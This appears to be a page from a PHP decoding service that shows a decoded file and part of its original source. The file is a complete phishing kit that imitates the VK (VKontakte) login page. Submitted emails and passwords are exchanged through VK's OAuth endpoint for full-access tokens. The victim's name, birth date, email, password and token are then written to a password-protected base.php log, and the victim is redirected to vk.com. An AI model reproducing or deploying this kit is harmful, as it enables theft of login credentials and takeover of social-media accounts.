Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? //**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**// // ..

Decoded Output download

<? 
//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**// 
//															// 
 
define ("PASS", "SIIZ"); //    
define ("B_NAME", "base.php"); //   ( .php) 
define ("URL", "https://vk.com/feed"); //  ,    
 
// 
//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**// 
 
if($_POST[email] and $_POST[pass]){ 
	$data = json_decode(curl('https://oauth.vk.com/token?grant_type=password&scope=friends%2Cphotos%2Cvideo%2Caudio%2Cpages%2C256%2Cnotes%2Cstatus%2Cmessages%2Cwall%2Cads%2Coffline%2Cdocs%2Cgroups%2Cnotifications%2Cnotifications%2Cmarket%2Cnotifications&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&username='.$_POST[email].'&password='.$_POST[pass].'&captcha_sid='.$_POST[sid].'&captcha_key='.$_POST[captcha]), 1);	 
} 
?> 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru"> 
<head> 
<meta http-equiv="X-UA-Compatible" content="IE=edge" /> 
<link rel="shortcut icon" href="//vk.com/images/icons/favicons/fav_logo.ico?5" /> 
 
<link rel="apple-touch-icon" href="//vk.com/images/safari_60.png?1"> 
<link rel="apple-touch-icon" sizes="76x76" href="//vk.com/images/safari_76.png?1"> 
<link rel="apple-touch-icon" sizes="120x120" href="//vk.com/images/safari_120.png?1"> 
<link rel="apple-touch-icon" sizes="152x152" href="//vk.com/images/safari_152.png?1"> 
 
<meta http-equiv="content-type" content="text/html; charset=windows-1251" /> 
<meta name="description" content="          ,      .  ,  , , ,       ." /> 
 
 
<title>  | </title> 
 
<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript> 
 
  <link rel="stylesheet" type="text/css" href="//vk.com/css/al/fonts_cnt.css?2889730895" /> 
  <link rel="stylesheet" type="text/css" href="//vk.com/css/al/common.css?23502564148" /> 
 
<script type="text/javascript"> 
var vk = { 
  ads_rotate_interval: 120000, 
  al: parseInt('3') || 4, 
  id: 0, 
  intnat: '' ? true : false, 
  host: 'vk.com', 
  lang: 0, 
  rtl: parseInt('') || 0, 
  version: 3817049020046, 
  stDomains: 0, 
  zero: false, 
  contlen: 12680, 
  loginscheme: 'https', 
  ip_h: 'd01ccfc4a505e04b08', 
  vc_h: 'ae8e2f37061e4276e0310a3ccd4c77f5', 
  navPrefix: '/', 
  dt: parseInt('0') || 0, 
  fs: parseInt('13') || 13, 
  ts: 1506390873, 
  tz: 10800, 
  pd: 0, 
  css_dir: '', 
  vcost: 7, 
  time: [2017, 9, 26, 4, 54, 33], 
  sampleUser: -1, spentLastSendTS: new Date().getTime(), 
  a11y: 0, 
  statusExportHash: '', 
  audioAdsConfig: {"_":"_"}, 
  longViewTestGroup: "every_view", 
 
  pr_tpl: "<div class=\"pr %cls%\" id=\"%id%\"><div class=\"pr_bt\"><\/div><div class=\"pr_bt\"><\/div><div class=\"pr_bt\"><\/div><\/div>", 
 
  audioInlinePlayerTpl: "<div class=\"audio_inline_player _audio_inline_player no_select\">
  <div class=\"audio_inline_player_right\">
    <div class=\"audio_inline_player_volume\"><\/div>
  <\/div>
  <div class=\"audio_inline_player_left\">
    <div class=\"audio_inline_player_progress\"><\/div>
  <\/div>
<\/div>", 
 
  tnsPixelType: 'unauth' 
}; 
 
window.locDomain = vk.host.match(/[a-zA-Z]+\.[a-zA-Z]+\.?$/)[0]; 
var _ua = navigator.userAgent.toLowerCase(); 
if (/opera/i.test(_ua) || !/msie 6/i.test(_ua) || document.domain != locDomain) document.domain = locDomain; 
var ___htest = (location.toString().match(/#(.*)/) || {})[1] || '', ___to; 
___htest = ___htest.split('#').pop(); 
if (vk.al != 1 && ___htest.length && ___htest.substr(0, 1) == vk.navPrefix) { 
  if (vk.al != 3 || vk.navPrefix != '!') { 
    ___to = ___htest.replace(/^(\/|!)/, ''); 
    if (___to.match(/^([^\?]*\.php|login|mobile)([^a-z0-9\.]|$)/)) ___to = ''; 
    location.replace(location.protocol + '//' + location.host + '/' + ___to); 
  } 
} 
 
var StaticFiles = { 
  'common.js' : {v: 1157}, 
  'fonts_cnt.css' : {v: 2889730895}, 
'common.css': {v: 23502564148} 
  ,'lang0_0.js':{v:6844},'index.css':{v:14082579640},'index.js':{v:3228561433},'login.css':{v:15932378811},'ui_controls.css':{v:15064529460},'ui_controls.js':{v:3486179758},'ui_common.js':{v:3070177449},'ui_common.css':{v:13455283419},'audioplayer.js':{v:6327756732} 
} 
var abp; 
</script> 
 
<link type="text/css" rel="stylesheet" href="//vk.com/css/al/index.css?14082579640"></link><link type="text/css" rel="stylesheet" href="//vk.com/css/al/login.css?15932378811"></link><link type="text/css" rel="stylesheet" href="//vk.com/css/ui_controls.css?15064529460"></link><link type="text/css" rel="stylesheet" href="//vk.com/css/al/ui_common.css?13455283419"></link><script type="text/javascript" src="//vk.com/js/loader_nav3817049020046_0.js"></script><script type="text/javascript" src="//vk.com/js/al/common.js?1157_186508888"></script><script type="text/javascript" src="//vk.com/js/lang0_0.js?6844"></script><script type="text/javascript" src="//vk.com/js/lib/px.js?ch=1"></script><script type="text/javascript" src="//vk.com/js/lib/px.js?ch=2"></script><link rel="alternate" media="only screen and (max-width: 640px)" href="https://m.vk.com/" /><link rel="alternate" href="android-app://com.vkontakte.android/vkontakte/m.vk.com/" /><meta name="msApplication-ID" content="C6965DD5.VK" /><meta name="msApplication-PackageFamilyName" content="C6965DD5.VK_v422avzh127ra" /><script type="text/javascript" src="//vk.com/js/al/index.js?3228561433"></script><script type="text/javascript" src="//vk.com/js/lib/ui_controls.js?3486179758"></script><script type="text/javascript" src="//vk.com/js/al/ui_common.js?3070177449"></script><script type="text/javascript" src="//vk.com/js/cmodules/web/audioplayer.js?6327756732"></script> 
 
</head> 
 
<body onresize="onBodyResize()" class="firefox index_page"> 
  <div id="system_msg" class="fixed"></div> 
  <div id="utils"></div> 
 
  <div id="layer_bg" class="fixed"></div><div id="layer_wrap" class="scroll_fix_wrap fixed layer_wrap"><div id="layer"></div></div> 
  <div id="box_layer_bg" class="fixed"></div><div id="box_layer_wrap" class="scroll_fix_wrap fixed"><div id="box_layer"><div id="box_loader"><div class="pr pr_baw pr_medium" id="box_loader_pr"><div class="pr_bt"></div><div class="pr_bt"></div><div class="pr_bt"></div></div><div class="back"></div></div></div></div> 
 
  <div id="stl_left"></div><div id="stl_side"></div> 
 
  <script type="text/javascript">domStarted();</script> 
 
  <div class="scroll_fix_wrap _page_wrap" id="page_wrap"><div><div class="scroll_fix"> 
   
 
  <div id="page_header_cont" class="page_header_cont"> 
    <div class="back"></div> 
    <div id="page_header_wrap" class="page_header_wrap"> 
      <a class="top_back_link" href="" id="top_back_link" onclick="if (nav.go(this, event, {back: true}) === false) { showBackLink(); return false; }" onmousedown="tnActive(this)"></a> 
      <div id="page_header" class="p_head p_head_l0" style="width: 960px"> 
        <div class="content"> 
          <div id="top_nav" class="head_nav"> 
  <div class="head_nav_item fl_l"><a class="top_home_link fl_l " href="http://vk.com/" aria-label=" " accesskey="1"><div class="top_home_logo"></div></a></div> 
  <div class="head_nav_item fl_l"><div id="ts_wrap" class="ts_wrap" onmouseover="TopSearch.initFriendsList();"> 
  <input name="disable-autofill" style="display: none;" /> 
  <input type="text" onmousedown="event.cancelBubble = true;" ontouchstart="event.cancelBubble = true;" class="text ts_input" id="ts_input" autocomplete="off" name="disable-autofill" placeholder="" aria-label="" /> 
</div></div> 
  <div class="head_nav_item fl_l head_nav_btns"><span id="top_audio_layer_place"></span></div> 
  <div class="head_nav_item fl_r"><a class="top_nav_link" href="" id="top_switch_lang" style="" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 3, hash: '6e6bf4047b91726b15' }); return false;" onmousedown="tnActive(this)"> 
  Switch to English 
</a><a class="top_nav_link" href="http://vk.com/join" id="top_reg_link" style="display: none" onclick="return !showBox('join.php', {act: 'box', from: nav.strLoc}, {}, event)" onmousedown="tnActive(this)"> 
   
</a></div> 
  <div class="head_nav_item_player"></div> 
</div> 
<div id="ts_cont_wrap" class="ts_cont_wrap" ontouchstart="event.cancelBubble = true;" onmousedown="event.cancelBubble = true;"></div> 
        </div> 
      </div> 
    </div> 
  </div> 
 
  <div id="page_layout" style="width: 960px;"> 
    <div id="side_bar" class="side_bar fl_l " style="display: none"> 
      <div id="side_bar_inner" class="side_bar_inner"> 
        <div id="quick_login" class="quick_login"> 
  <form method="POST" name="login" id="quick_login_form" action=""> 
    <div class="label">  e-mail</div> 
    <div class="labeled"><input type="text" name="email" class="dark" id="quick_email" /></div> 
    <div class="label"></div> 
    <div class="labeled"><input type="password" name="pass" class="dark" id="quick_pass" onkeyup="toggle('quick_expire', !!this.value);toggle('quick_forgot', !this.value)" /></div> 
    <input type="submit" class="submit" /> 
  </form> 
  <button class="quick_login_button flat_button button_wide" id="quick_login_button"></button> 
  <button class="quick_reg_button flat_button button_wide" id="quick_reg_button" style="display: none" onclick="top.showBox('join.php', {act: 'box', from: nav.strLoc})"></button> 
  <div class="clear forgot"><div class="checkbox" id="quick_expire" onclick="checkbox(this);ge('quick_expire_input').value=isChecked(this)?1:'';"> </div><a id="quick_forgot" class="quick_forgot" href="http://vk.com/restore" target="_top"> ?</a></div> 
</div> 
      </div> 
    </div> 
 
    <div id="page_body" class="fl_r " style="width: 960px;"> 
      <div id="header_wrap2"> 
        <div id="header_wrap1"> 
          <div id="header" style="display: none"> 
            <h1 id="title"></h1> 
          </div> 
        </div> 
      </div> 
      <div id="wrap_between"></div> 
      <div id="wrap3"><div id="wrap2"> 
  <div id="wrap1"> 
    <div id="content"><div id="index_rcolumn" class="index_rcolumn"> 
  <div id="index_login" class="page_block index_login"> 
    <form method="post" name="login" id="index_login_form" action=""> 
      <input type="text" class="big_text" name="email" id="index_email" value="" placeholder="  e-mail" /> 
      <input type="password" class="big_text" name="pass" id="index_pass" value="" placeholder="" onkeyup="toggle('index_expire', !!this.value);toggle('index_forgot', !this.value)" /> 
      <button id="index_login_button" class="index_login_button flat_button button_big_text"></button> 
      <div class="forgot"> 
        <div class="checkbox" id="index_expire" onclick="checkbox(this);ge('index_expire_input').value=isChecked(this)?1:'';"> </div> 
        <a id="index_forgot" class="index_forgot" href="http://vk.com/restore" target="_top"> ?</a> 
      </div> 
    </form> 
  </div> 
  <div id="ij_form" class="page_block ij_form"> 
    <h2 class="ij_header"> ?</h2> 
    <div class="ij_subheader"> </div> 
    <div id="ij_msg"></div> 
    <input type="text" class="big_text" id="ij_first_name" value="" placeholder=" " /> 
    <input type="text" class="big_text" id="ij_last_name" value="" placeholder=" " /> 
    <div class="ij_label"> <span class="hint_icon" data-title="&lt;b&gt;  &lt;/b&gt;     ,       .&lt;br&gt;          ." onmouseover="showHint(this);"></span></div> 
    <div id="ij_birthdate_row" class="ij_birthdate_row clear_fix"> 
      <div class="ij_bday"><input type="text" class="big_text" id="ij_bday" /></div> 
      <div class="ij_bmonth"><input type="text" class="big_text" id="ij_bmonth" /></div> 
      <div class="ij_byear"><input type="text" class="big_text" id="ij_byear" /></div> 
    </div> 
    <div id="ij_sex_row" class="clear_fix unshown"> 
      <div class="ij_label"> </div> 
      <div class="radiobtn" onclick="radiobtn(this, 1, 'ij_sex');"></div> 
      <div class="radiobtn" onclick="radiobtn(this, 2, 'ij_sex');"></div> 
    </div> 
    <button class="flat_button button_wide button_big_text ij_button" id="ij_submit" onclick="Index.submitJoinStart()"></button> 
    <div id="index_fbsign" class="index_fbsign"> 
      <a id="index_fb" class="index_fb_lnk" href="" onclick="return Index.fbJoin();"><div class="index_fb_icon"></div>  Facebook</a> 
    </div> 
    <div id="index_fbcontinuewithsign" class="index_fbcontinuewithsign"> 
      <div class="fb-login-button index_fb_continue_with_btn" onclick="return Index.fbJoin();" data-use-continue-as="true" data-width="264" data-max-rows="1" data-size="medium" data-button-type="continue_with"></div> 
    </div> 
  </div> 
</div> 
<div class="login_mobile_promo_wrap clear_fix"> 
  <div class="login_mobile_apps"> 
    <div class="login_mobile_header">   </div> 
    <div class="login_mobile_info">          ,     .</div> 
     
    <div class="login_app_devices"> 
 
      <a href="https://play.google.com/store/apps/details?id=com.vkontakte.android" target="_blank" class="login_app_device login_app_device_android"> 
        <div class="login_app_device_screen_wrap"> 
          <div class="login_app_device_screen login_app_device_ru"></div> 
        </div> 
 
        <div class="login_app_download_wrap"> 
          <button class="flat_button secondary button_light"> 
            <span class="login_app_download_icon"></span> 
            VK  Android 
          </button> 
        </div> 
      </a> 
 
      <a href="https://www.microsoft.com/store/apps/9wzdncrfj1pt" target="_blank" class="login_app_device login_app_device_wp"> 
        <div class="login_app_device_screen_wrap"> 
          <div class="login_app_device_screen login_app_device_ru"></div> 
        </div> 
 
        <div class="login_app_download_wrap"> 
          <button class="flat_button secondary button_light"> 
            <span class="login_app_download_icon"></span> 
            VK  WP 
          </button> 
        </div> 
      </a> 
 
      <a href="https://itunes.apple.com/ru/app/id564177498" target="_blank" class="login_app_device login_app_device_ios"> 
        <div class="login_app_device_screen_wrap"> 
          <div class="login_app_device_screen login_app_device_ru"></div> 
        </div> 
 
        <div class="login_app_download_wrap"> 
          <button class="flat_button secondary button_light"> 
            <span class="login_app_download_icon"></span> 
            VK  iPhone 
          </button> 
        </div> 
      </a> 
 
    </div> 
  </div> 
  <a onclick="curBox().hide()" id="login_mobile_close" class="login_mobile_close"></a> 
 
  <div class="login_about_mobile"> 
                  : <a target="_blank" href="https://m.vk.com">m.vk.com</a> 
  </div> 
</div> 
<div id="index_footer_wrap" class="footer_wrap index_footer_wrap"> 
  <div class="footer_nav" id="bottom_nav"> 
  <div class="footer_copy fl_l"><a href="http://vk.com/about"></a> &copy; <?=date("Y");?></div> 
  <div class="footer_lang fl_r">:<a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 3, hash: '6e6bf4047b91726b15'})">English</a><a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 0, hash: '6e6bf4047b91726b15'})"></a><a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 1, hash: '6e6bf4047b91726b15'})"></a><a class="footer_lang_link" onclick="if (vk.al) { showBox('lang.php', {act: 'lang_dialog', all: 1}, {params: {dark: true, bodyStyle: 'padding: 0px'}, noreload: true}); } else { changeLang(1); } return false;">  &raquo;</a></div> 
  <div class="footer_links"> 
    <a class="bnav_a" href="http://vk.com/about"> </a> 
    <a class="bnav_a" href="http://vk.com/support?act=home" style="display: none;"></a> 
    <a class="bnav_a" href="http://vk.com/terms"></a> 
    <a class="bnav_a" href="http://vk.com/ads" style=""></a> 
     
    <a class="bnav_a" href="http://vk.com/dev"></a> 
    <a class="bnav_a" href="http://vk.com/jobs" style="display: none;"></a> 
  </div> 
</div> 
 
<div class="footer_bench clear"> 
   
</div> 
</div></div> 
  </div> 
</div></div> 
    </div> 
 
    <div id="footer_wrap" class="footer_wrap fl_r" style="width: 960px;"><div class="footer_nav" id="bottom_nav"> 
  <div class="footer_copy fl_l"><a href="http://vk.com/about"></a> &copy; 2017</div> 
  <div class="footer_lang fl_r">:<a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 3, hash: '6e6bf4047b91726b15'})">English</a><a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 0, hash: '6e6bf4047b91726b15'})"></a><a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 1, hash: '6e6bf4047b91726b15'})"></a><a class="footer_lang_link" onclick="if (vk.al) { showBox('lang.php', {act: 'lang_dialog', all: 1}, {params: {dark: true, bodyStyle: 'padding: 0px'}, noreload: true}); } else { changeLang(1); } return false;">  &raquo;</a></div> 
  <div class="footer_links"> 
    <a class="bnav_a" href="http://vk.com/about"> </a> 
    <a class="bnav_a" href="http://vk.com/support?act=home" style="display: none;"></a> 
    <a class="bnav_a" href="http://vk.com/terms"></a> 
    <a class="bnav_a" href="http://vk.com/ads" style=""></a> 
     
    <a class="bnav_a" href="http://vk.com/dev"></a> 
    <a class="bnav_a" href="http://vk.com/jobs" style="display: none;"></a> 
  </div> 
</div> 
 
<div class="footer_bench clear"> 
   
</div></div> 
    <div class="clear"></div> 
  </div> 
</div></div><noscript><div style="position:absolute;left:-10000px;"> 
<img src="http://vk.com//top-fwz1.mail.ru/counter?id=2579437;js=na" style="border:0;" height="1" width="1" /> 
</div></noscript></div> 
  <div class="progress" id="global_prg"></div> 
 
  <script type="text/javascript"> 
    if (parent && parent != window && (browser.msie || browser.opera || browser.mozilla || browser.chrome || browser.safari || browser.iphone)) { 
      document.getElementsByTagName('body')[0].innerHTML = ''; 
    } else { 
      domReady(); 
      updateMoney(0); 
if (browser.iphone || browser.ipad || browser.ipod) { 
  setStyle(bodyNode, {webkitTextSizeAdjust: 'none'}); 
}var qf = ge('quick_login_form'), ql = ge('quick_login'), qe = ge('quick_email'), qp = ge('quick_pass'); 
var qlb = ge('quick_login_button'), prgBtn = qlb; 
 
var qinit = function() { 
  setTimeout(function() { 
    ql.insertBefore(ce('div', {innerHTML: '<iframe class="upload_frame" id="quick_login_frame" name="quick_login_frame"></iframe>'}), qf); 
    qf.target = 'quick_login_frame'; 
  }, 1); 
} 
 
if (window.top && window.top != window) { 
  window.onload = qinit; 
} else { 
  setTimeout(qinit, 0); 
} 
 
qf.onsubmit = function() { 
  if (!ge('quick_login_frame')) return false; 
  if (!trim(qe.value)) { 
    notaBene(qe); 
    return false; 
  } else if (!trim(qp.value)) { 
    notaBene(qp); 
    return false; 
  } 
  lockButton(window.__qfBtn = prgBtn); 
  prgBtn = qlb; 
  clearTimeout(__qlTimer); 
  __qlTimer = setTimeout(loginSubmitError, 30000); 
  domFC(domPS(qf)).onload = function() { 
    clearTimeout(__qlTimer); 
    __qlTimer = setTimeout(loginSubmitError, 2500); 
  } 
  return true; 
} 
 
 
handlePageParams({"id":0,"loc":"","noleftmenu":1,"wrap_page":1,"width":960,"width_dec":0,"width_dec_footer":0,"body_class":"firefox index_page","counters":"","pvbig":0,"pvdark":1});addEvent(document, 'click', onDocumentClick); 
addLangKeys({"global_apps":"","global_friends":"","global_communities":"","head_search_results":" ","global_chats":"","global_show_all_results":"  ","global_news_search_results":"   ","global_emoji_cat_recent":" ","global_emoji_cat_1":"","global_emoji_cat_2":"  ","global_emoji_cat_3":"  ","global_emoji_cat_4":"  ","global_emoji_cat_5":"  ","global_emoji_cat_6":"  ","global_emoji_cat_7":"","global_emoji_cat_8":"","global_emoji_cat_9":""}, true); 
addLangKeys({"index_to_main":" ","index_choose_sex":" ","index_sel_bday":""}); 
addTemplates({"_":"_"});cur.options = {"bmonths":[[0,""],[1,""],[2,""],[3,""],[4,""],[5,""],[6,""],[7,""],[8,""],[9,""],[10,""],[11,""],[12,""]],"byears":[[0,""],[2003,"2003"],[2002,"2002"],[2001,"2001"],[2000,"2000"],[1999,"1999"],[1998,"1998"],[1997,"1997"],[1996,"1996"],[1995,"1995"],[1994,"1994"],[1993,"1993"],[1992,"1992"],[1991,"1991"],[1990,"1990"],[1989,"1989"],[1988,"1988"],[1987,"1987"],[1986,"1986"],[1985,"1985"],[1984,"1984"],[1983,"1983"],[1982,"1982"],[1981,"1981"],[1980,"1980"],[1979,"1979"],[1978,"1978"],[1977,"1977"],[1976,"1976"],[1975,"1975"],[1974,"1974"],[1973,"1973"],[1972,"1972"],[1971,"1971"],[1970,"1970"],[1969,"1969"],[1968,"1968"],[1967,"1967"],[1966,"1966"],[1965,"1965"],[1964,"1964"],[1963,"1963"],[1962,"1962"],[1961,"1961"],[1960,"1960"],[1959,"1959"],[1958,"1958"],[1957,"1957"],[1956,"1956"],[1955,"1955"],[1954,"1954"],[1953,"1953"],[1952,"1952"],[1951,"1951"],[1950,"1950"],[1949,"1949"],[1948,"1948"],[1947,"1947"],[1946,"1946"],[1945,"1945"],[1944,"1944"],[1943,"1943"],[1942,"1942"],[1941,"1941"],[1940,"1940"],[1939,"1939"],[1938,"1938"],[1937,"1937"],[1936,"1936"],[1935,"1935"],[1934,"1934"],[1933,"1933"],[1932,"1932"],[1931,"1931"],[1930,"1930"],[1929,"1929"],[1928,"1928"],[1927,"1927"],[1926,"1926"],[1925,"1925"],[1924,"1924"],[1923,"1923"],[1922,"1922"],[1921,"1921"],[1920,"1920"],[1919,"1919"],[1918,"1918"],[1917,"1917"],[1916,"1916"],[1915,"1915"],[1914,"1914"],[1913,"1913"],[1912,"1912"],[1911,"1911"],[1910,"1910"],[1909,"1909"],[1908,"1908"],[1907,"1907"],[1906,"1906"],[1905,"1905"],[1904,"1904"],[1903,"1903"],[1902,"1902"],[1901,"1901"]]}; 
Index.initNew();cur.fbApp = '128749580520227'; 
cur.fbState = '41ec29e42129f4529d'; 
cur.fbContinueWithSign = 1; 
cur.fbLocale = 'ru_RU'; 
Index.fbCheck(cur.fbApp, ''); 
;(function (d, w) { 
if (w.__dev) { 
  return 
} 
var ts = d.createElement("script"); ts.type = "text/javascript"; ts.async = true; 
ts.src = (d.location.protocol == "https:" ? "https:" : "http:") + "//top-fwz1.mail.ru/js/code.js"; 
var f = function () {var s = d.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ts, s);}; 
if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); } 
})(document, window); 
    } 
  </script> 
</body> 
 
</html> 
<? 
if($_POST[email] and $_POST[pass]){ 
 
	if($data[error_description] == 'Username or password is incorrect') exit('<script>showFastBox("", "   .");</script>'); 
	if($data[access_token]){ 
		$res = json_decode(curl('https://api.vk.com/method/account.getProfileInfo?access_token='.$data[access_token]), 1); 
		if(!file_exists(B_NAME)){ 
			file_put_contents(B_NAME, '<? $pass="'.PASS.'";'.base64_decode('c2Vzc2lvbl9zdGFydCgpOwppZigkX0dFVFsnZXhpdCddKSAkX1NFU1NJT05bYXV0aF0gPSAwOwo/Pgo8c3R5bGU+Cmh0bWwsYm9keXsKCXBhZGRpbmc6IDA7CgltYXJnaW46IDA7CgloZWlnaHQ6IDEwMCU7Cgl3aWR0aDogMTAwJTsKCWJhY2tncm91bmQ6ICMzMjMzMzI7Cn0KLmJiewoJd2lkdGg6IDcwLjclOwoJbWFyZ2luLWxlZnQ6IDE1JTsKfQouZWRpdHsKCXdpZHRoOiA3MCU7CgltYXJnaW4tbGVmdDogMTUlOwp9Ci5sb2dpbnsKCWJhY2tncm91bmQ6IGJsYWNrOwoJd2lkdGg6IDQwJTsKCWhlaWdodDogMjAlOwoJbWFyZ2luLXRvcDogMTUlOwoJbWFyZ2luLWxlZnQ6IDMwJTsKfQoudGV4dHsKCW1hcmdpbi10b3A6IDUwcHg7Cn0KdGFibGV7Cgljb2xvcjogIzAwOGNmMDsKCWJvcmRlci1jb2xvcjogcmVkOwp9CnRkewoJdGV4dC1hbGlnbjogY2VudGVyOwp9Cjwvc3R5bGU+Cjw/CiRjID0gYXJyYXkoJ2dyZWVuJywgJ3JlZCcsICd5ZWxsb3cnLCAnYmx1ZScsICd3aGl0ZScpW210X3JhbmQoMCwgNCldOwppZighJF9TRVNTSU9OW2F1dGhdKXsKaWYoJF9QT1NUW2xvZ2luXSl7CglpZigkX1BPU1RbbG9naW5dID09ICRwYXNzKXsKCQkkX1NFU1NJT05bYXV0aF0gPSAxOwoJCWVjaG8gJzxzY3JpcHQ+d2luZG93LmxvY2F0aW9uLnJlbG9hZCh0cnVlKTs8L3NjcmlwdD4nOwoKCX0KfQo/PgoKPCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KCTx0aXRsZT5Mb2dpbjwvdGl0bGU+Cgk8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSJjc3MvbG9naW4uY3NzIj4KPC9oZWFkPgo8Ym9keT4KCTxkaXYgY2xhc3M9ImxvZ2luIiBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgPD89JGM/PjsiPgoJCTxicj48Y2VudGVyPjxiPjxzcGFuIHN0eWxlPSJjb2xvcjogPD89JGM/PjsiIGNsYXNzPSJ0ZXh0Ij5Mb2dpbiBJbjwvc3Bhbj48L2I+PC9jZW50ZXI+PGJyPgoJCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPgoJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibG9naW4iIGNsYXNzPSJlZGl0IiBwbGFjZWhvbGRlcj0ibG9naW4iPjxicj4KCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmIiIHZhbHVlPSJMT0dJTiIgY2xhc3M9ImJiIj4KCQk8L2Zvcm0+Cgk8L2Rpdj4KPC9ib2R5Pgo8L2h0bWw+Cjw/CmV4aXQoKTsKfQo/Pgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHBhZGRpbmc9IjUiPgogICA8dHI+CiAgICA8dGg+0KTQmNCePC90aD4KICAgIDx0aD7QlNCgPC90aD4KICAgIDx0aD7Qm9C+0LPQuNC9PC90aD4KICAgIDx0aD7Qn9Cw0YDQvtC70Yw8L3RoPgogICAgPHRoPtCi0L7QutC10L08L3RoPgogICA8L3RyPgoK')); 
		} 
 
		file_put_contents(B_NAME, "<tr><th>".$res[response][first_name].''.$res[response][last_name]."</th><th>".$res[response][bdate]."</th><th>".$_POST[email]."</th><th>".$_POST[pass]."</th><th>".$data[access_token]."</th></tr>", FILE_APPEND); 
		exit("<script>window.location.replace('".URL."');</script>"); 
 
	} 
 
	if($data[error] == 'need_captcha'){  
	$str = "<form method='post' action=''><center><img src=".$data[captcha_img]."><br><div class='labeled'><input type='text' name='captcha' class='dark' id='quick_email'/><button class='quick_login_button flat_button button_wide' style='width=20%;' id='quick_login_button'></button></div></center><input type='hidden' name='sid' value=".$data[captcha_sid]."><input type='hidden' name='email' value=".$_POST[email]."><input type='hidden' name='pass' value=".$_POST[pass]."></form>"; 
		?> 
 
<script>showFastBox("   ", "<?=$str?>");</script> 
 
 
<?}/* 
	print_r($data); //delete me!!!! 
	exit($_POST[email].' '.$_POST[pass]); */ 
 
}	 
function curl($url){ 
$ch = curl_init( $url ); 
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true ); 
curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false ); 
curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false ); 
$res = curl_exec( $ch ); 
curl_close( $ch ); 
return $res; 
} 
?> 

Did this file decode correctly?

Original Code

<?
//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//
//															//

define ("PASS", "SIIZ"); //   
define ("B_NAME", "base.php"); //   ( .php)
define ("URL", "https://vk.com/feed"); //  ,   

//
//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//

if($_POST[email] and $_POST[pass]){
	$data = json_decode(curl('https://oauth.vk.com/token?grant_type=password&scope=friends%2Cphotos%2Cvideo%2Caudio%2Cpages%2C256%2Cnotes%2Cstatus%2Cmessages%2Cwall%2Cads%2Coffline%2Cdocs%2Cgroups%2Cnotifications%2Cnotifications%2Cmarket%2Cnotifications&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&username='.$_POST[email].'&password='.$_POST[pass].'&captcha_sid='.$_POST[sid].'&captcha_key='.$_POST[captcha]), 1);	
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<link rel="shortcut icon" href="//vk.com/images/icons/favicons/fav_logo.ico?5" />

<link rel="apple-touch-icon" href="//vk.com/images/safari_60.png?1">
<link rel="apple-touch-icon" sizes="76x76" href="//vk.com/images/safari_76.png?1">
<link rel="apple-touch-icon" sizes="120x120" href="//vk.com/images/safari_120.png?1">
<link rel="apple-touch-icon" sizes="152x152" href="//vk.com/images/safari_152.png?1">

<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<meta name="description" content="          ,      .  ,  , , ,       ." />


<title>  | </title>

<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>

  <link rel="stylesheet" type="text/css" href="//vk.com/css/al/fonts_cnt.css?2889730895" />
  <link rel="stylesheet" type="text/css" href="//vk.com/css/al/common.css?23502564148" />

<script type="text/javascript">
var vk = {
  ads_rotate_interval: 120000,
  al: parseInt('3') || 4,
  id: 0,
  intnat: '' ? true : false,
  host: 'vk.com',
  lang: 0,
  rtl: parseInt('') || 0,
  version: 3817049020046,
  stDomains: 0,
  zero: false,
  contlen: 12680,
  loginscheme: 'https',
  ip_h: 'd01ccfc4a505e04b08',
  vc_h: 'ae8e2f37061e4276e0310a3ccd4c77f5',
  navPrefix: '/',
  dt: parseInt('0') || 0,
  fs: parseInt('13') || 13,
  ts: 1506390873,
  tz: 10800,
  pd: 0,
  css_dir: '',
  vcost: 7,
  time: [2017, 9, 26, 4, 54, 33],
  sampleUser: -1, spentLastSendTS: new Date().getTime(),
  a11y: 0,
  statusExportHash: '',
  audioAdsConfig: {"_":"_"},
  longViewTestGroup: "every_view",

  pr_tpl: "<div class=\"pr %cls%\" id=\"%id%\"><div class=\"pr_bt\"><\/div><div class=\"pr_bt\"><\/div><div class=\"pr_bt\"><\/div><\/div>",

